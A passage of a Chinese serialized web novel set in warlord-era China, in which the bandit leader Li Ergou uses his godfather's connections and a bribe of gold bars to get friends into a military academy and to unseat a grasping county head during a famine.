“大哥,大哥……” “兄弟,你刚才说什么?” “我说咱们喝酒!大哥,这群溃兵留在咱们江东早晚是个祸害,这次被消灭也是好事。” 两人考虑问题的角度不一样,孙竹刚便不想再继续讨论这件事。 “兄弟,有件事……”孙竹刚看了看门外,压低声音说道:“王县长最近又要召集全县的地主豪绅开会,应该还是筹集军粮的事情,我建议你这几天最好还是出去躲一躲。” 胡家大院为了赈济灾民,早已把大部分的粮食都捐给了广佛寺开粥棚,现在是真的没有余粮了,相信其他地主大院的情况也差不多。 这时候,王正直还要征粮,这简直是把大家往绝路上逼。 “谢谢大哥,我正好明天要去一趟省城,我们老爷的病情又加重了。” 孙竹刚脸上露出一丝不易察觉的笑容。 “兄弟,这胡老爷要真是归了西,你这管家的位置是不是还要往上升一升啊?哈哈。” “大哥,又取笑兄弟不是?实不相瞒,胡家大院早已外强中干,我早就想不干这个管家了,在清风寨多逍遥,也不用担心被王县长敲竹杠!” “兄弟,胡家大院就是再没落,这几千亩土地可是实打实的,还有这么一座规模庞大的大院,清风寨毕竟是土匪窝,非长久之计。” “还是大哥看得长远,不过有大哥在背后给我撑腰,在江东我能横着走。” “哈哈,兄弟又说笑,江东有县长,我只不过是一个警察局局长罢了,凡事还得听人家县长的。” 王正直欺上瞒下,不顾百姓死活。 大灾之年,不仅不想办法赈灾灾民,反而变本加厉地鱼肉乡里,这样的人就不配做县长! 李二狗早就想为江东百姓除了这一害! “大哥,有句话兄弟不知当讲不当讲?” “这里又没有外人,兄弟有话不妨直说。” “现在中原地区已经打成了一锅粥,但据我分析,几个大帅之间谁都没有必胜的把握,更不可能彻底消灭对方,打到最后还是会维持现状,名义上是南京国民政府说了算,实际上还是大家各管各的地盘。” 孙竹刚没明白李二狗话里的意思。 “兄弟,你说的再明白一点,大哥没听懂。” “大哥,听说过省城的吴有德吗?” “吴有德的大名那当然听说过,他早先跟着先总理闹革命,是早期同盟会会员,现在虽已退出政坛多年,但在全省甚至全国还是一个很有影响力的人物。” “他是我干爹。” 孙竹刚听后惊讶不已。 “哎呀,兄弟,吴有德竟然是你干爹?你到底还有多少事情是我不知道的?” “大哥不要激动,我也是一个偶然的机会结识了吴爷。吴爷和省政府主席夏瀚林的关系不错,我这次去省城准备和他提一提大哥的事情,让他想办法帮帮忙,让大哥更进一步。” 孙竹刚这次不是惊讶,他是激动!是感动! “兄弟,你对大哥的这份情义,大哥真是不知道该怎么报答你。” “大哥,咱们是兄弟,你好我也好,这个道理我还是懂得,不过……” “不过什么?” “王正直在省里也有一些关系,想取代他并不是轻而易举的事情。” 孙竹刚知道,李二狗心中早已有了主意。 “兄弟,你就直说吧,大哥该怎么办?” “如果这次王正直完不成军粮征缴任务,他这个县长还能继续当吗?” “可就怕那些地主豪绅最后顶不住压力。” “他们吃过几次亏,这次肯定能躲就都躲了,王正直最后还得依仗你来做他们的工作,到时候你就想办法拖延几日,顶多挨他几次骂,到期他完不成征集军粮的任务,撤他的职不就水到渠成了吗?” 孙竹刚没想到事情竟是如此的简单,他自己怎么就想不到呢? “兄弟,高啊,来,大哥再敬你一杯。” “大哥,等这次我从省城回来,就得改口叫孙县长了。” “哈哈,不论到什么时候咱们都是好兄弟,等你回来,来家里,我让你嫂子包饺子给你吃,还是海鲜馅的。” “哈哈,谢谢大哥,嫂子包的饺子最合我的胃口。” 第260章 李二狗兽性大发 第二天,李二狗来到清风寨。 当他在寨务会上提出要送宋孬蛋、张清明两人去省城上军校时,除了提前知道消息的宋孬蛋之外,其他人全部惊呆了。 土匪去读军校,这可是闻所未闻啊。 “狗哥,自古哪有土匪去上军校的道理?这恐怕不太合适吧?” 陈老三心想,我可是你最亲近的兄弟,去上军校竟然不让我去,他心里对李二狗非常有意见。 “是啊,咱们土匪去读军校,一旦被发现那可是要被枪毙的!” “对!自古官匪势不两立,咱们还是安心做山上做土匪好。” 陈嘎子和张石头两人都是粗人,他们考虑问题的方式比较简单,他们是想一辈子做土匪的人。 秀才上山的时间比张清明还要早一些,但不可否认,与自己比起来,李二狗显然更加青睐张清明。 这次能送张清明去省城上军校,等军校毕业之后,无论是去军队服役还是回到清风寨,都会高人一等,前途不可限量,足见李二狗对他的器重。 秀才心里有意见,但选择了沉默不语,并没有发表意见。 张清明听到自己和宋孬蛋一起去上军校,对李二狗的感激之情溢于言表。 他虽然也没有说话,但脸上的兴奋之情却早已掩饰不住。 李二狗早就知道大家是这个意见,他一直等着所有人都发表完意见不再吭声,自己才清了清嗓子,准备盖棺定论。 “谁规定的土匪不能上军校?咱们吃没文化的亏还少吗?上次差点被人家连锅端了!打仗是一门很深的学问,不去学习能行吗?咱们清风寨以后要想发展壮大,这是必由之路!” 陈老三还是不服气,嘟囔道:“可是狗哥,人家军校能收咱们吗?” “收不收是他们的规定,能不能让他们收得看咱们自己的本事。” 大家都知道,李二狗决定的事在清风寨就是圣旨,只能无条件执行。 “狗哥,我也想去省城的军校学学,嘿嘿。” 陈老三一听说去省城,心里就发痒。 “你他娘这个熊样子,一看就是土匪,上军校不是自投罗网吗?再说,你也受不了军校的管,还是老实待在山寨吧。” 陈老三作为李二狗最亲近的兄弟,他都没戏,其他人更没戏了。 事情就这样定了下来。 李二狗带着宋孬蛋、张清明去了省城。 由于正在打仗,省城的难民比平时多了许多,大街小巷挤满了扶老携幼的逃荒人群,但百乐门大舞厅内依然歌舞升平。 静雯见到李二狗,自然喜不自胜,两人搂抱着就上了楼,看得张清明一愣一愣的。 “蛋哥,狗哥这……” 宋孬蛋摆出一副见过世面的样子。 “不该问的别问,走,哥带你开开眼界。” 静雯办公室。 小别胜新婚,两人来不及废话,直接忙活起来! 李二狗显得异常兴奋! 静雯只感觉自己在云层中来回穿梭。 一个时辰后,静雯躺在李二狗怀里撒起了娇。 “你这是怎么了?好像几年没碰过女人似的?” “这可不能怪我,要怪只能怪你太迷人。” “讨厌你!”静雯羞涩地把头埋进李二狗怀里,“狗儿,现在到处都在打仗,这段时间我特别担心你,这次你在省城就多住一些时日吧?” “静雯,我也想多陪你一些时日,可是江东那边还有一堆事等着我回去处理,你不知道现在全省的灾情有多严重!我在来的路上,看到很多饿死的灾民,他们的尸体都堆积在路边无人掩埋。” 静雯叹息道:“政府的人都在忙着打仗,哪里还有心思管老百姓的死活!” “对了,咱们贸易行的那些小麦都卖了吗?” “一开始的时候卖掉了一些,后来进城逃荒的灾民越来越多,吴爷就在城西西市场那里架起了几口大锅来赈灾。” “吴爷真是咱们学习的榜样,小麦现在还剩多少?” “哎,前段日子,省政府看咱们贸易行粮食多,就用极低的价格把粮食全部买走了。” “什么?这群强盗!简直太无耻了!” “这还是因为夏主席看吴爷的面子,要不然呐,一分钱都不会给。冯大帅下达的是征粮的死命令,夏主席也是没有办法,完不成就地免职!” “本来想着囤积一些粮食可以大赚一笔,没想到最后却是这个结果。” “你也不要自责,其实咱们还是挣了一些,由于粮价涨得厉害,前期卖的粮食早就回本了。” “那就好,要不然我就没脸见干爹了。” “干爹这几天总提起你,念叨着让你尽快来省城,他想退下来享享清福。” “咱们现在再来一次还是去见干爹?” “你真讨厌!晚上再说啦!” 两人穿戴整齐,带着宋孬蛋、张清明一起来到吴公馆。 “干爹,我想死您了。” 李二狗见面就给了吴有德一个热情的拥抱。 “你小子是想我还是想静雯?想我就赶紧来省城帮我。” “嘿嘿,当然是想干爹了。” 静雯“哼”了一声。 “也想静雯,嘿嘿。” 吴有德看到李二狗后面跟来两个精干的小伙子,不像是地主大院的家丁。 “二狗,这两位是?” 李二狗急忙介绍道:“干爹,这两位是我的好兄弟,宋孬蛋、张清明。” 宋孬蛋、张清明异口同声地说道:“吴爷您好。” “小伙子们都长得挺精神,以后还是要跟着二狗来省城发展,你们乡下就那巴掌大的一块地方,能有什么发展?总待在那种地方会耽误你们前途的。” 两个人都嘿嘿笑着没有说话。 “您高瞻远瞩,就是比我们站得高看得远啊,干爹,我这正好有一件事情想求您帮帮忙。” “我就知道你小子没事不会来看干爹。” 李二狗大呼冤枉。 “干爹,您这可冤枉死我了,我心里可是无时无刻不挂念着干爹。” 吴有德笑道:“你小子就长了一张甜嘴,好了,别扯淡了,说吧,要我办什么事?” 李二狗嘿嘿一笑。 第261章 不想当兵你上军校干什么 “刚才干爹说得对,我们乡下巴掌大的一块地方确实耽误人的前途,所以,我想让这两位兄弟进省城的军校进修进修。” 吴有德没想到李二狗竟提出这样的请求,这对他来说简直易如反掌,省城军校的校长正是他以前的部下。 “这个容易,现在军校缺的就是你们这种青年才俊,放心吧,这事包在我身上。” 李二狗看吴有德的态度,就知道他并没有明白自己的意思。 “干爹,您没听明白我的意思,我说的是进修,要是让他们在军校里学个三年五载那可不行。” 吴有德笑道:“你小子就是不读书看报纸,现在急缺军事人才,哪有时间让他们在军校里学三年五载?一般半年,最多一年就能毕业。” “那毕业之后呢?” “毕业之后当然是去部队当军官,从你进入军校的大门就已经当兵入伍了。” 李二狗装出一副很为难的样子。 “干爹,现在军阀混战,当兵可不是什么好事情啊。” 吴有德彻底被李二狗整糊涂了。 “二狗,你小子是不是下雨没打伞啊?” “下雨没打伞?”李二狗一头雾水,“干爹,您这话啥意思?” “脑子进水了呗!”吴有德笑道,“不想当兵那还上军校干什么?” 李二狗富含深意地看了一眼宋孬蛋和张清明。 “干爹,不是说不当兵,我的意思是毕业之后我们可不可以自由选择,想当兵就当兵,不想当兵就回家种地。” “二狗,你小子脑子里面装的是不是都是浆糊?你以为上军校是闹着玩的?想怎么样就怎么样?那里是为国家培养军事人才的地方,不是你想来就来,想走就走的草台班子。” 李二狗忙赔着笑脸说道:“嘿嘿,干爹,我只是说假如,您知道的,我们胡家大院也成立了民团,也需要军事方面的人才。” “你呀,脑子里只有胡家大院,巴掌大的一块地方,”吴有德用手指比划了一下:“能有什么出息?” “故土难离啊,还望干爹理解。” “好了,等毕业之后再说,应该不难办。” “谢谢干爹,”李二狗看向宋孬蛋、张清明,“你们快谢谢吴爷。” “谢谢吴爷!” “省城军校的校长张永清是我以前的老部下,待会儿我给他打个电话,你们明天直接去找他。” “干爹,我就知道在省城没有您办不了的事情。” “我替你办了事,你是不是陪我吃顿饭表示感谢啊?” “嘿嘿,那是当然,那是当然。” 吃过饭之后,李二狗和静雯陪着吴有德在小花园里散步。 “二狗,现在下面是什么情况?灾情很严重吗?” 李二狗叹了一口气,神情严峻。 “相当严重!” “有多严重?” “已经出现易子而食的惨状。” “政府就没采取救灾措施吗?” “到处都在打仗,根本没人顾及老百姓的死活。” “当年我们这些人跟着先总理一起抛头颅洒热血,推翻清政府的统治,建立了民国,本想着能让百姓过上安居乐业的日子,没想到这都快二十年了,百姓的生活非但没有改善,还变得更糟,那我们当初参加革命的目的到底是为了什么呢?” 吴有德说完便剧烈地咳嗽起来,静雯赶紧扶着吴有德坐下,轻轻拍打着他的后背。 “干爹,您别生气,政府的事咱们管不了。” “这是一个什么样的政府?天天只知道争地盘,他们怎么就不知道水能载舟亦能覆舟的道理呢?” “干爹,他们不是不懂,他们读的圣贤书比老百姓多得多。” 吴有德显得很不屑。 “圣贤书都被他们读到狗肚子里去了!我听说现在南方出现了一支由穷苦人组成的队伍,叫什么红军,闹得很凶。哪里有压迫哪里就有反抗,这个道理再浅显不过了。” 提到红军,李二狗想到了李云龙,也不知道他现在怎么样了! “干爹,我听说是省政府夏主席下的命令不让上报全省灾情。” “呵呵,你以为南京中央政府那群人都是聋子瞎子吗?北方几省发生这么大的灾情他们能不知道?我听说夏瀚林早就把灾情报上去了,是南京中央政府故意装不知道,这样他们就可以不拨赈灾粮。” “夏主席可以接着上报啊,为官一任,造福一方,总不能眼睁睁看着老百姓自生自灭吧?” “这个夏瀚林呐,谨慎有余而魄力不足。他虽是南京国民政府委任的省主席,可咱们周边这几个省都是冯大帅的地盘,两边还打着仗呢,他们哪顾得上老百姓的死活。” 静雯感叹道:“兴百姓苦,亡百姓苦,不管怎么样,受苦的总是老百姓。” 吴有德同样感慨万分。 “咱们都是刀俎上的鱼肉,在时代的洪流面前实在是太过渺小。” 李二狗没有他们那么多的感慨,有发感慨的机会不如踏实办点实事。 “干爹,我还有件事想请您帮个忙。” 吴有德笑道:“二狗,你这次可没白来啊,这么多忙需要我帮。” 李二狗没把自己当外人. “干爹,当儿子的遇到困难,不找干爹找谁啊,您说是吧?嘿嘿。” “你呀,油嘴滑舌,说吧,这次又是什么事?” “干爹,我有个好兄弟叫孙竹刚,现在任江东县警察局局长,因为赈灾的事得罪了江东县长王正直。” “怎么?他想调离江东县?” “不是!王正直在江东一手遮天、鱼肉百姓,导致民怨沸腾,他才是江东最大的祸害。” “二狗,你绕来绕去的快把我绕晕了,你到底想干什么?直说。” “干爹,如果王正直被撤了职,您能不能给夏主席打声招呼,让我的好兄弟孙竹刚接任县长,他肯定能做好赈济灾民的工作。” “二狗,你跑官要官跑到我这里来了,我只是一介草民,哪有那个权力?” “干爹,您不知道江东的百姓有多可怜,一个黄花大闺女才卖一块大洋,卖妻粥子、易子而食的现象更是数不胜数。” 第262章 仅此一次,下不为例 吴有德实事求是地说道:“二狗,干爹现在只是一个生意人,不参与政治已经很久了,夏主席不一定会给你干爹这个面子。” 李二狗当然知道这是吴有德的托辞。 求人办事无非就是两种途径,要么付出金钱,要么搭上人情。 “干爹,我只需要您给我牵个线搭个桥,剩下事我自己来办。” “你小子,好的不学,这些旁门左道倒是学得挺精通。” “嘿嘿,想为干爹分忧,就得多学一点本事,艺多不压身嘛。” 李二狗知道,自己如果坚持求吴有德帮忙,他肯定能促成此事,但他更想借助此次机会结识夏瀚林。 无非就是钱的事,能用钱解决的问题根本就不是问题。 吴有德何等精明之人,他早就猜透了李二狗的心思。 “好,明天晚上我请夏主席到吴公馆吃饭,到时候你作陪。” “谢谢干爹。” 第二天晚上七点,吴公馆。 吴有德亲自站在公馆门口迎接夏瀚林。 “吴爷,怎么敢让您亲自到门口迎接?您太客气了。” 吴有德笑道:“你现在是省政府主席,是我们的父母官,你能光临寒舍已是我们莫大的荣幸,我到门口迎接一下你是应该的。” “吴爷,您是前辈,您跟着先总理打天下的时候我还是个毛孩子,实在是不敢劳您大驾。” “哈哈,那都是一些陈芝麻烂谷子的事情了,夏主席就不要再提了。” 两人一番寒暄过后,吴有德便将李二狗介绍给夏瀚林认识。 李二狗满脸堆笑,殷勤地为他们引路。 夏瀚林打量着眼前这个笑容可掬的年轻人,问道:“你就是李二狗?我听吴爷提过你的名字。” 吴有德笑道:“二狗是我干儿子,以后还请夏主席多多关照。” “夏主席,久仰您的威名,我经常听干爹提起您,请您多关照。” “咱们都是自己人,这个自然。吴爷,您老眼光不错啊。” “哈哈,夏主席过誉了,里面请。” 进入餐厅,静雯正在里面忙碌着。 “夏主席,您好。” 夏瀚林认识静雯,知道她是百乐门大舞厅的经理、吴有德的得力干将。 “静雯经理,好久不见,别来无恙啊。” 他热情地伸出手,静雯笑意盈盈地迎上去。 夏瀚林握着静雯的手,眼神不经意间流露出来的还是男人对女人的贪婪之情。 “夏主席还记得静雯,静雯真是荣幸至极,今晚我一定要好好敬您一杯。” “哈哈,一杯怎么行?至少得两杯。” “嘻嘻,三杯都行,只要您喝得开心。” 李二狗最不喜欢的就是陌生男人看静雯的目光,他真想扑上去一口咬掉他的眼珠子。 大家分主宾坐下,静雯主动坐在了夏瀚林旁边。 “夏主席,感谢你今天能赏光来到吴公馆,令寒舍蓬荜生辉啊。今天没有外人,就是家宴,来,我先敬你一杯。” 夏瀚林眼睛总是时不时地盯着静雯,一看就是老色胚。 “吴爷,您刚才都说了是家宴,就不要称呼我夏主席了,还是叫我瀚林吧。” “这怎么可以?我现在只是一介平民,而你是一省的主席啊。” “吴爷,您这么说,真是令我惭愧之至啊,行政院的孙院长见到您都得尊称一声吴叔,我一个小小的省主席又怎么敢在您面前托大呢?” “哈哈,上个月我去南京出差,和孙院长见了一面,他对你的工作很满意。” “感谢吴爷美言,感谢吴爷美言。” 夏瀚林对于前段时间低价购买吴有德粮食之事一直怀有愧意,但他也是没有办法的办法,总得先想办法保住自己头上的乌纱帽再说。 但吴有德和孙院长之间的特殊关系,还是令他心有忌惮。 “吴爷,上次您把粮食低价卖给省政府,解了我们燃眉之急。我一直没有找到合适的机会当面感谢您,今天借着这个机会,我敬您一杯,您放心,等我们省政府稍微缓过这口气,一定会对您的贸易行做出补偿。” 吴有德保持着惯有的笑容。 “夏主席,你说这话就见外了,你也是为了全省百姓着想,别说是一点粮食,就是要我吴有德的全部身家我也不会皱一下眉头。” “吴爷,您不愧是党国的肱股之臣啊,我和您比起来实在是汗颜,这杯我干了,您随意。” 夏瀚林一饮而尽,吴有德也陪着干了一杯。 “夏主席,实不相瞒,我老了,以后我吴氏企业都会交给二狗和静雯打理,以后还请你看在我的薄面上对他们多加关照。” 夏瀚林这才弄明白吴有德、李二狗和静雯之间的关系。 “吴爷请放心,这个自然。” 李二狗给静雯使了个眼神,两个人举起酒杯,同时站起身来。 “夏主席,我和静雯敬您一杯,以后有用得着我们的地方,我们一定竭尽所能为夏主席排忧解难。” “好好,英雄出少年呐,吴爷,你后继有人啊。” “哈哈,夏主席过奖了,以后就全仰仗你扶持了。” 宴会在一片欢乐祥和的氛围中结束了。 夏瀚林喝得满面红光,已经有了一些醉意,他握住吴有德的手,说道:“吴爷,您请留步。” 吴有德笑道:“夏主席,老夫确实有点喝多了,那我就不送你出去了,二狗,替我送送夏主席。” 李二狗急忙上前扶住夏瀚林。 “夏主席,我送您出去。” “吴爷,今晚叨扰了,告辞!” “夏主席,慢走!” 李二狗把夏瀚林扶到吴公馆外面的车子里,从怀里掏出一个小盒子。 “夏主席,初次相见,这是一点小意思,请您笑纳。” 夏瀚林正色道:“二狗,你这是干什么?我怎么能要吴爷的东西,你快拿回去。” 李二狗保持着谄媚的笑容。 “夏主席,这是我个人的一点小意思,请你一定笑纳。” 夏瀚林还是保持着一副严肃的面孔。 “二狗,咱们是自己人,用不着这样,仅此一次,下不为例啊。” “谢谢夏主席,您慢走。” 第263章 我不会让你白辛苦的 李二狗回到客厅时,吴有德因为喝多了酒,已经回房休息了。 静雯正坐在沙发上等他,一张俏脸喝得红扑扑的,更显妩媚。 “这么快就回来了,都送给他了?” “送了。” “求他的事提了吗?” “没有,只要钱到位,事情就会水到渠成,不必着急。” “一下子就送出去十根金条,你可真舍得!” “舍不得孩子套不着狼。” “舍不得老婆套不着流氓,干脆你把我也送出去得了。” “你我可舍不得,你是我最珍贵的小宝贝。” 李二狗坐在她身旁,捏着她的小脸,忍不住亲了她一口。 “满嘴的酒气,快去刷牙。” “刷什么牙啊,我都等不及了。” “你讨厌!” 李二狗扛起静雯就回了房间。 “你小点动静,让干爹听见了多不好。” “怕什么?干爹还等着抱孙子呢,咱们得加快进度了。” 李二狗说着已经把自己脱了个精光。 “你……” “我帮你脱?” “你……” “刺拉”一声,李二狗已经撕裂了她黑色丝袜。 “轻一点……” 李二狗反而变得更加粗鲁起来…… 第二天一早,李二狗和静雯来到餐厅时,吴有德已经在吃早饭。 “干爹早。” “嗯,我昨天已经和张永清打过电话了,今天就让你那两位兄弟去军校报到吧,告诉他们,去了好好学。” “放心吧,干爹,肯定不会给您丢脸。” 吃过早饭之后,李二狗来到酒店,宋孬蛋和张清明已在酒店大堂等候。 “跟我来。” 三个人来到一条小河边。 “孬蛋,清明,进了军校大门之后你们就是军人了,一定谨言慎行,不要泄露自己以前的身份,万一遇到不好解决的事情就去百乐门大舞厅找静雯。” “放心吧,狗哥,我们去了军校一定好好学习,不会给你丢脸的。” 李二狗从兜里掏出两张银票。 “这个你们拿好,以备不时之需,我等着你们学成归来,去吧。” 宋孬蛋一脸不舍。 “狗哥,保重!” “保重!狗哥!” 李二狗挥了挥手。 “去吧。” 宋孬蛋和张清明走了,李二狗站在小河边却有些伤感。 不管他们以后还会不会回到清风寨,但每个人都有每个人的路要走,李二狗不可能掌控他们每一个人的命运。 这是他自己的命,也是别人的命。 想到命,李二狗想到了一直躺在医院病床上的胡士高,那也是他的命。 李二狗来到医院,只有念秋一个人孤零零在病房。 “狗哥,您来了。” 念秋眼含泪花,仿佛见到了亲人一般。 “念秋,这段时间辛苦你了。” 对于念秋来说,留在医院照顾胡士高比她在胡家大院时舒服多了,但她还是表现出一副委屈的样子。 “不辛苦,只是这样日复一日太让人煎熬了。” “辛苦了,我不会让你白辛苦的。” “谢谢狗哥,狗哥最好了。” 李二狗看了看躺在病床上苟延残喘的胡士高,也许一切都该结束了,这是他的命。 经过征求医生的建议,李二狗决定过几天把胡士高带回胡家大院等死。 “念秋,我在省城还有一些事情没有办完,等办完了咱们一起回家。” 念秋听到要回家,突然变得有些紧张起来。 “怎么了?不想回家?” 念秋连连摆手道:“不是不是,我想回家,可三奶奶不知去哪了,我回去可怎么办啊?” 念秋眼泪啪啦啪啦掉了下来。 李二狗安慰道:“放心吧,三奶奶的事情我已经和大奶奶说过了,大奶奶不会怪罪你的。等回去之后,如果你想离开胡家大院,我可以给大奶奶说,把你的卖身契给你,你找个合适的人家嫁了,以后不用再伺候人了。” 念秋“扑通”一声跪在李二狗面前。 “狗哥,我做错什么了吗?为什么要赶我走?” 李二狗把念秋扶起来,说道:“念秋,你并没有做错什么,相反这次你在医院一个人照顾老爷这么久,你是立了功的,所以我和大奶奶才想着还你一个自由身。” 念秋哭着说道:“狗哥,从我爹把我卖到胡家大院那一刻起,我就没有家了,胡家大院就是我的家,我不想离开这里,求求你,不要赶我走好不好?” 念秋又跪在李二狗面前,她也是一个苦命人。 “好了,念秋,你如果想留下当然可以留下,等回去之后,我和大奶奶说一声,把三奶奶原先管的油坊交给你管理,你愿意吗?” 念秋被李二狗感动的再次泪流满面。 “我愿意,我愿意,谢谢狗哥,谢谢狗哥。” “好好干,狗哥从来没把你当丫鬟看待。” 念秋完全被李二狗的个人魅力所征服。 只要他一句话,她愿意立马给他生狗崽子。 与此同时,江东县暗流涌动,王正直已经被逼上梁山。 他召集全县的地主豪绅到县政府开会,竟然没有一个人参加。 “李二狗怎么也没来?” 在王正直的印象中,李二狗向来支持他的工作,每次捐粮都是带头响应。 “县长,派去下通知的人回来说,李二狗去了省城,他们家胡老爷在省城的医院快不行了。” “这是他的借口,胡士高在医院躺了快一年了,早不行晚不行,偏偏这个时候不行,李二狗这个人鬼的很。” “可是咱们并没有提前下通知啊,去下通知的人说,他到胡家大院的时候李二狗就已经去了省城。” “那其他人呢?” “其他人倒是都在家,他们也都答应会参加,可……” “反了反了,这群人真是敬酒不吃吃罚酒,老子一定要给他们一点颜色看看,你去把孙竹刚叫来。” 孙竹刚接到电话,很快来到王正直办公室。 “孙局长,你马上派人,按照这个名单把所有的人都带到县政府,如有违抗,立刻逮起来关进监狱。” 孙竹刚接过名单,上面列着全县地主豪绅的姓名和住址。 “请王县长放心,卑职马上去办。” “孙局长,只剩三天时间了,务必把人给我带回来。” “卑职明白,卑职亲自带人去办。” 第264章 我挥泪斩马谡的本事还是有的 警察局一众警察在孙竹刚的亲自指挥下,连一个地主的影子都没找到。 “孙局长,你们警察局这帮人是干什么吃的?竟然一个人都没找到!全他娘的是废物!” 孙竹刚脸上则是一副委屈的表情。 “王县长,这不能怪属下无能,我们赶到的时候,他们都不在家,有几户竟然门上上着锁,全家人都不在。” “看来这群人是王八吃秤砣铁了心,既然他们执意要和县政府作对,孙局长,你马上派人,一天二十四小时进行监控,一旦发现他们踪迹,立即抓起来,尤其是那几个大户,一定要重点布控。” “王县长放心,卑职马上去办。” 孙竹刚出了县政府直接回了家。 两天过去了,依然连一个人影都没找到。 “孙局长,你到底能不能干?不能干我立马换人!” 王正直又是摔茶杯又是拍桌子,那眼神恨不得吃了孙竹刚。 “王县长,是卑职无能,可我已经安排人二十四小时进行监视,他们不回家,我实在是没有办法啊。” “妈了个巴子,”王正直罕见地骂了脏话,“跑得了和尚跑不了庙,你带人直接去他们家里搜,只要发现粮食,立刻没收。” “王县长,这样做怕是不妥吧?如果传扬出去,上级一旦追查下来……” 王正直已经顾不得这些,他完全失去了理智。 一旦完不成筹措军粮的任务,汤司令的脾气他是知道的,搞不好不仅是丢了乌纱帽那么简单,军法从事那是要杀头的! “出了事我兜着,快去办!” 孙竹刚带着一帮心腹去了吴家大院,吴老太爷命人杀猪宰羊,好好地招待了他们一番。 “孙局长,您真是为民着想的好官啊,不像那个王正直,就知道敲诈勒索,完全不顾我们死活。” “吴老太爷,你以前对我多有关照,我孙竹刚是懂得知恩图报的,不可能为了他王正直一个外人,让咱们全江东的人都喝西北风吧?你告诉大家,再坚持几天。” 吴老太爷内心还是有些担忧。 “孙局长,王正直真的会走吗?如果他不走,我们可就要遭殃了。” “放心吧,他要是不走首先遭殃的是我,我都不怕,你们怕什么?” “孙局长,你这样说,老朽就放心了,来,我再敬你一杯。” 孙竹刚大醉而归。 回到家,刚想搂着严婆惜快活一番,电话铃声却响了起来。 “不接,咱们继续。” 孙竹刚把严婆惜压在身下,三下五除二就把她的小夹袄和红肚兜都脱了下来,然后一头拱了上去。 “铃铃铃……” 电话响个不停。 严婆惜催促道:“你去接电话,说不定有什么急事。” “谁他娘的这么晚还打电话?真是扫兴!” 孙竹刚嘟囔着起床去接电话。 “谁啊?”孙竹刚没好气地问道。 “孙局长,我是张海龙,王县长让您马上到他办公室一趟。” “张秘书,王县长找我什么事?” “还是筹集军粮的事情,王县长正发脾气呢,您快点来吧。” 孙竹刚一身酒气,这时候去见王正直无异于往枪口上撞,但张海龙已经把电话打到他家里,他实在找不出不去的理由。 “怎么了?这么晚还要出去?” “他娘的,县长找我!”孙竹刚一边骂一边开始穿衣服。 严婆惜并不恼怒,自从认识李二狗之后,他对孙竹刚已经完全失去了兴趣。 孙竹刚穿好衣服,又去洗了一把脸,尽量让自己清醒起来。 来到县政府,还未走到王正直办公室,孙竹刚便听到王正直在办公室里面嗷嗷骂人的声音。 张海龙正战战兢兢地站在办公室门口。 “张秘书,谁在里面?县长发这么大的火。” “民政科科长老万。” “民政科筹了多少粮食?” 张海龙伸出一个手指头。 “一万斤!” 汤司令下达了三十万斤军粮的任务,还有一天时间就到了规定的期限,民政科竟只筹到一万斤粮食,难怪王正直发火。 “这个万科长,干什么吃的?这么多天才筹集到一万斤粮食。” “也不能全怪他,现在哪里还有余粮?王县长就指望着全县的地主豪绅捐粮了。” “这些家伙都学精了,根本见不着他们人影,我带人去他们家粮仓,你猜怎么着?全他娘的是空的!” “他们是真没粮还是把粮食藏起来的?” “这谁知道啊?不过据我分析应该是真没粮,前段时间那小麦价格堪比黄金,有余粮的也都卖了。” “孙局长,你说得有道理,不过王县长可不管这些,待会进去你可要小心点。” 张海龙闻到孙竹刚身上一身酒气,心想,都火烧眉毛了,你还有心思喝酒,县长不熊你熊谁! 门开了,万科长灰头土脸的从里面走了出来,脸上竟有一道红红的手掌印。 孙竹刚故意问道:“老万,挨打了?” 万科长叹息一声,没有说话,低着头快速离开了。 张海龙走进去,小心翼翼地说道:“县长,孙局长来了。” “让他进来!” 孙竹刚走进去,张海龙赶紧退了出去。 王正直看到孙竹刚红扑扑的一张脸,又闻到一股浓重的酒气,不禁皱起了眉头。 “孙局长,今天抄了多少粮食?我可一直在等你消息。” 孙竹刚咽了一口唾液,舔了舔有些干燥的嘴唇,哭丧着脸说道:“县长,我今天带人抄了几个大户,可他们粮仓都是空的,一粒粮食都没有!” “你放屁!”王正直双眼圆睁,怒视孙竹刚,“孙竹刚,你到底有没有去查抄?一粒粮食都没有?难道他们自己喝西北风吗?” 孙竹刚想到明天就到了最后的交粮期限,底气自然壮了许多。 “王县长,您要是不相信我,就免了我这个警察局局长的职务,卑职实在是没法干了。” “你以为我不敢吗?孙竹刚,我王正直别的本事没有,挥泪斩马谡的本事还是有的。” 孙竹刚既然选择了硬怼,那就只能一条道走到黑。 第265章 孙竹刚危在旦夕 “既然王县长一定要找一个替死鬼,那我也没有办法。” 王正直虽有心换掉孙竹刚,可现在正是用人之际,一时半会儿他又去哪里找一个警察局局长? “孙局长,我再给你最后一次戴罪立功的机会,你明天继续带人去抄他们的家,只要能抄到粮食,以前的事我可以既往不咎。” 孙竹刚并不想彻底和王正直撕破脸。 “王县长,卑职一定尽力而为。” “我等你的好消息。” 不出意外,孙竹刚忙碌了一天,依然是一无所获。 汤司令派来的军需官庄仁义已经到达县政府。 “王县长,不能再拖了,今天我一定要把粮食拉走,不然汤司令怪罪下来,兄弟我得吃不了兜着走。” “庄主任,请您通融通融务必再宽限两日,我正在想尽一切办法筹集粮食。” “王县长,不是我不通融,实在是前方战事吃紧,你不能让兄弟们饿着肚子去打仗吧?” “庄主任,现在到处都在闹饥荒,粮食真的很难筹集啊。” 庄仁义把一张驴脸拉得老长。 “王县长,你和我抱怨这个有什么用?又不是只有你们江东在闹饥荒,其他县为什么就能筹集到军粮?要不然你去和汤司令说,只要汤司令一声令下,我马上离开,绝不再打扰!” 王正直忙赔着笑脸。 “庄主任,您千万不要误会,我不是这个意思,请您再通融一天,我一定把粮食给筹集到。” 说着他从兜里掏出一卷大洋塞到庄仁义手里。 “王县长,那我就再给你一天时间,明天这个时候如果我还看不到粮食,那我就只能空着手回去复命了,但汤司令的脾气你是知道的!” “我知道,我知道!庄主任放心,我一定按时筹集到粮食。” 庄仁义离开之后,王正直又把刚刚修好的电话机砸了。 “跟我去警察局,我要亲自和孙竹刚一起下去征粮。” 王正直来到警察局,竟发现警察局里有很多警察无所事事。 “你们局长呢?” 一个高个子警察认识王正直,他立马跑到王正直面前,敬了一个标准的军礼。 “报告县长,我们局长带人下去征粮了。” “他去哪征粮了?” “报告,县长,卑职不知道。” “你们怎么没下去?” “报告县长,我们局长说,这种事用不着去这么多人。” 王正直暗骂道,好你个孙竹刚,又给老子搞阳奉阴违这一套。 “你马上去集合人,跟我去凤山镇。” “是,县长。” 